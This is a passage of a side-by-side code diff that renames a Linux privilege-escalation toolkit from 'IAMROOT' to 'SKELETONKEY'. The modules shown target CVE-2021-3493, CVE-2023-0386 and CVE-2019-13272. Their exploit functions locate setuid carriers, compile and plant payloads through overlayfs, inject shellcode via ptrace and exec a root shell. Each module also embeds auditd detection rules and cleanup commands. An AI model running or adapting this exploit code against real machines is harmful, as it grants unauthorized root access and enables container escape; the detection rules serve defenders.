!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
|
!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
|
||||||
close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR;
|
close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
close(fd);
|
close(fd);
|
||||||
|
|
||||||
@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
|
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
|
||||||
upper_bin);
|
upper_bin);
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
fflush(NULL);
|
fflush(NULL);
|
||||||
execl(upper_bin, upper_bin, (char *)NULL);
|
execl(upper_bin, upper_bin, (char *)NULL);
|
||||||
@@ -443,7 +443,7 @@ fail_workdir:
|
|||||||
unlink(src_path); unlink(bin_path); unlink(upper_bin);
|
unlink(src_path); unlink(bin_path); unlink(upper_bin);
|
||||||
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
|
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
|
||||||
rmdir(workdir);
|
rmdir(workdir);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ----- Embedded detection rules ----- */
|
/* ----- Embedded detection rules ----- */
|
||||||
@@ -451,12 +451,12 @@ fail_workdir:
|
|||||||
static const char overlayfs_auditd[] =
|
static const char overlayfs_auditd[] =
|
||||||
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
|
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
|
||||||
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
|
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
|
||||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
|
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||||
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n"
|
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||||
"# Watch for security.capability xattr writes (the post-mount step)\n"
|
"# Watch for security.capability xattr writes (the post-mount step)\n"
|
||||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n";
|
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
|
||||||
|
|
||||||
const struct iamroot_module overlayfs_module = {
|
const struct skeletonkey_module overlayfs_module = {
|
||||||
.name = "overlayfs",
|
.name = "overlayfs",
|
||||||
.cve = "CVE-2021-3493",
|
.cve = "CVE-2021-3493",
|
||||||
.summary = "Ubuntu userns-overlayfs file-capability injection → host root",
|
.summary = "Ubuntu userns-overlayfs file-capability injection → host root",
|
||||||
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_overlayfs(void)
|
void skeletonkey_register_overlayfs(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&overlayfs_module);
|
skeletonkey_register(&overlayfs_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* overlayfs_cve_2021_3493 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
|
||||||
|
#define OVERLAYFS_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module overlayfs_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -16,7 +16,7 @@ Public PoC + writeup:
|
|||||||
Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
|
Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
|
||||||
Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
|
Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
Distro-agnostic — no per-kernel offsets, no race. Places a setuid
|
Distro-agnostic — no per-kernel offsets, no race. Places a setuid
|
||||||
binary in an overlay lower, mounts via fuse-overlayfs userns trick,
|
binary in an overlay lower, mounts via fuse-overlayfs userns trick,
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* overlayfs_setuid_cve_2023_0386 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef OVERLAYFS_SETUID_IAMROOT_MODULES_H
|
|
||||||
#define OVERLAYFS_SETUID_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module overlayfs_setuid_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+30
-30
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* overlayfs_setuid_cve_2023_0386 — IAMROOT module
|
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
||||||
* (their modified overlayfs). This one is upstream: when overlayfs
|
* (their modified overlayfs). This one is upstream: when overlayfs
|
||||||
@@ -38,7 +38,7 @@
|
|||||||
* for any distro running 5.11-6.2 kernels. Container-escape relevant.
|
* for any distro running 5.11-6.2 kernels. Container-escape relevant.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
|
||||||
@@ -96,12 +96,12 @@ static const char *find_setuid_in_lower(void)
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
|
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.11 when ovl copy-up was generalized.
|
/* Bug introduced in 5.11 when ovl copy-up was generalized.
|
||||||
@@ -111,7 +111,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
|
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
|
||||||
"(introduced in 5.11)\n", v.release);
|
"(introduced in 5.11)\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
|
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
|
||||||
@@ -119,7 +119,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
int userns_ok = can_unshare_userns_mount();
|
||||||
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
const char *target = find_setuid_in_lower();
|
const char *target = find_setuid_in_lower();
|
||||||
@@ -142,13 +142,13 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
|
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
|
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Embedded payload + exploit ---------------------------------- */
|
/* ---- Embedded payload + exploit ---------------------------------- */
|
||||||
@@ -190,16 +190,16 @@ static bool write_file_str(const char *path, const char *content)
|
|||||||
return ok;
|
return ok;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
iamroot_result_t pre = overlayfs_setuid_detect(ctx);
|
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Pick a setuid binary to use as the carrier — we'll find its
|
/* Pick a setuid binary to use as the carrier — we'll find its
|
||||||
@@ -209,20 +209,20 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
|
|||||||
const char *carrier = find_setuid_in_lower();
|
const char *carrier = find_setuid_in_lower();
|
||||||
if (!carrier) {
|
if (!carrier) {
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
|
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
/* For cleanliness, use a directory-level overlay. Find the carrier's
|
/* For cleanliness, use a directory-level overlay. Find the carrier's
|
||||||
* dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
|
* dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
|
||||||
char carrier_dir[256], carrier_name[64];
|
char carrier_dir[256], carrier_name[64];
|
||||||
const char *slash = strrchr(carrier, '/');
|
const char *slash = strrchr(carrier, '/');
|
||||||
if (!slash) return IAMROOT_PRECOND_FAIL;
|
if (!slash) return SKELETONKEY_PRECOND_FAIL;
|
||||||
size_t dir_len = slash - carrier;
|
size_t dir_len = slash - carrier;
|
||||||
memcpy(carrier_dir, carrier, dir_len);
|
memcpy(carrier_dir, carrier, dir_len);
|
||||||
carrier_dir[dir_len] = 0;
|
carrier_dir[dir_len] = 0;
|
||||||
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
|
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
|
||||||
|
|
||||||
char workdir[] = "/tmp/iamroot-ovlsu-XXXXXX";
|
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
|
||||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
|
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
|
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
|
||||||
workdir, carrier);
|
workdir, carrier);
|
||||||
@@ -232,7 +232,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (!which_gcc(gcc, sizeof gcc)) {
|
if (!which_gcc(gcc, sizeof gcc)) {
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
|
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
|
||||||
rmdir(workdir);
|
rmdir(workdir);
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Build the payload binary outside the overlay. */
|
/* Build the payload binary outside the overlay. */
|
||||||
@@ -348,7 +348,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
|
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
|
||||||
upper_carrier);
|
upper_carrier);
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
fflush(NULL);
|
fflush(NULL);
|
||||||
execl(upper_carrier, upper_carrier, (char *)NULL);
|
execl(upper_carrier, upper_carrier, (char *)NULL);
|
||||||
@@ -358,26 +358,26 @@ fail:
|
|||||||
unlink(src_path); unlink(bin_path);
|
unlink(src_path); unlink(bin_path);
|
||||||
rmdir(upper); rmdir(work); rmdir(merged);
|
rmdir(upper); rmdir(work); rmdir(merged);
|
||||||
rmdir(workdir);
|
rmdir(workdir);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t overlayfs_setuid_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/iamroot-ovlsu-*\n");
|
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
|
||||||
}
|
}
|
||||||
if (system("rm -rf /tmp/iamroot-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
|
if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
static const char overlayfs_setuid_auditd[] =
|
static const char overlayfs_setuid_auditd[] =
|
||||||
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
|
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
|
||||||
"# Same surface as CVE-2021-3493; share the iamroot-overlayfs key.\n"
|
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
|
||||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
|
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||||
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k iamroot-overlayfs-chown\n";
|
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
|
||||||
|
|
||||||
const struct iamroot_module overlayfs_setuid_module = {
|
const struct skeletonkey_module overlayfs_setuid_module = {
|
||||||
.name = "overlayfs_setuid",
|
.name = "overlayfs_setuid",
|
||||||
.cve = "CVE-2023-0386",
|
.cve = "CVE-2023-0386",
|
||||||
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
|
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
|
||||||
@@ -393,7 +393,7 @@ const struct iamroot_module overlayfs_setuid_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_overlayfs_setuid(void)
|
void skeletonkey_register_overlayfs_setuid(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&overlayfs_setuid_module);
|
skeletonkey_register(&overlayfs_setuid_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
|
||||||
|
#define OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module overlayfs_setuid_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -15,7 +15,7 @@ Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
|
|||||||
|
|
||||||
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
|
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
|
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
|
||||||
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
|
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* ptrace_traceme_cve_2019_13272 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H
|
|
||||||
#define PTRACE_TRACEME_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module ptrace_traceme_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+22
-22
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* ptrace_traceme_cve_2019_13272 — IAMROOT module
|
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
|
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
|
||||||
* binary results in the kernel granting ptrace privileges over the
|
* binary results in the kernel granting ptrace privileges over the
|
||||||
@@ -26,7 +26,7 @@
|
|||||||
* vulnerable.
|
* vulnerable.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
|
||||||
@@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = {
|
|||||||
sizeof(ptrace_traceme_patched_branches[0]),
|
sizeof(ptrace_traceme_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
|
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug existed since ptrace's inception (early 2.x); anything
|
/* Bug existed since ptrace's inception (early 2.x); anything
|
||||||
@@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
|
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
|
||||||
v.release);
|
v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
|
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
|
||||||
@@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
|
||||||
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
|
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
|
||||||
"(no user_ns required)\n");
|
"(no user_ns required)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit (jannh-style) --------------------------------------
|
/* ---- Exploit (jannh-style) --------------------------------------
|
||||||
@@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
|||||||
* shellcode that exec's /bin/sh.
|
* shellcode that exec's /bin/sh.
|
||||||
* 10. C resumes P → root shell.
|
* 10. C resumes P → root shell.
|
||||||
*
|
*
|
||||||
* IAMROOT implementation simplifies by using a small architecture-
|
* SKELETONKEY implementation simplifies by using a small architecture-
|
||||||
* specific shellcode (x86_64 only) and pkexec as the setuid binary
|
* specific shellcode (x86_64 only) and pkexec as the setuid binary
|
||||||
* trigger (works on most Linux systems with polkit installed). Falls
|
* trigger (works on most Linux systems with polkit installed). Falls
|
||||||
* back to /bin/su if pkexec isn't available.
|
* back to /bin/su if pkexec isn't available.
|
||||||
*
|
*
|
||||||
* Reliability: this exploit can fail-race on heavily-loaded systems.
|
* Reliability: this exploit can fail-race on heavily-loaded systems.
|
||||||
* Repeat invocations usually succeed; we don't loop here — operator
|
* Repeat invocations usually succeed; we don't loop here — operator
|
||||||
* can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK
|
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
|
||||||
* on root acquired (followed by execlp(sh) which never returns).
|
* on root acquired (followed by execlp(sh) which never returns).
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@@ -170,28 +170,28 @@ static const char *find_setuid_target(void)
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
#if !defined(__x86_64__)
|
#if !defined(__x86_64__)
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
|
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
|
||||||
"(shellcode is arch-specific)\n");
|
"(shellcode is arch-specific)\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
iamroot_result_t pre = ptrace_traceme_detect(ctx);
|
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
const char *setuid_bin = find_setuid_target();
|
const char *setuid_bin = find_setuid_target();
|
||||||
if (!setuid_bin) {
|
if (!setuid_bin) {
|
||||||
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
|
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
|
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
|
||||||
@@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
|
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* CHILD: set up the ptrace_link, then pause until parent has
|
/* CHILD: set up the ptrace_link, then pause until parent has
|
||||||
@@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
|
|||||||
perror("execve setuid");
|
perror("execve setuid");
|
||||||
int status;
|
int status;
|
||||||
waitpid(child, &status, 0);
|
waitpid(child, &status, 0);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] =
|
|||||||
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
|
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
|
||||||
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
|
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
|
||||||
"# a setuid binary. False positives: gdb, strace, debuggers.\n"
|
"# a setuid binary. False positives: gdb, strace, debuggers.\n"
|
||||||
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"
|
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
|
||||||
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n";
|
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
|
||||||
|
|
||||||
const struct iamroot_module ptrace_traceme_module = {
|
const struct skeletonkey_module ptrace_traceme_module = {
|
||||||
.name = "ptrace_traceme",
|
.name = "ptrace_traceme",
|
||||||
.cve = "CVE-2019-13272",
|
.cve = "CVE-2019-13272",
|
||||||
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
|
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
|
||||||
